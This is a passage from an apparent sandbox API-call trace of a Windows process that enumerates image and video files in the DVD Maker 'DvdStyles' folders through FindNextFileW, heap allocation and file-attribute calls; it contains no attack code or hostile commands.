RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11c08 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa12bb8 [0068.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.877] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11c28 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa12cc0 [0068.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.878] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11c48 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa12dc8 [0068.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.878] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11c68 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa12ed0 [0068.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.878] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11c88 [0068.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa12fd8 [0068.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.879] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0068.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11ca8 [0068.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa088e8 [0068.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xd40) returned 0x9fa458 [0068.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa15d30) returned 1 [0068.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.879] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0068.879] GetLastError () returned 0x12 [0068.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0068.880] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0068.880] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0068.880] GetLastError () returned 0x12 [0068.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.880] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0068.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0068.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.881] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="")) returned 1 [0068.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.881] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.902] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0068.904] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0068.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa15d30 [0068.909] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa15d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa15d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0068.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa15d30) returned 1 [0068.911] NtClose (Handle=0x170) returned 0x0 [0068.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.926] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0069.242] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.245] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0069.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0069.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11cc8 [0069.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa130e0 [0069.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.247] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0069.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11ce8 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa131e8 [0069.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.248] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11d08 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa132f0 [0069.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.248] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15d48 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa133f8 [0069.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.248] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15d68 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13500 [0069.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.249] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0069.249] RtlAllocateHeap 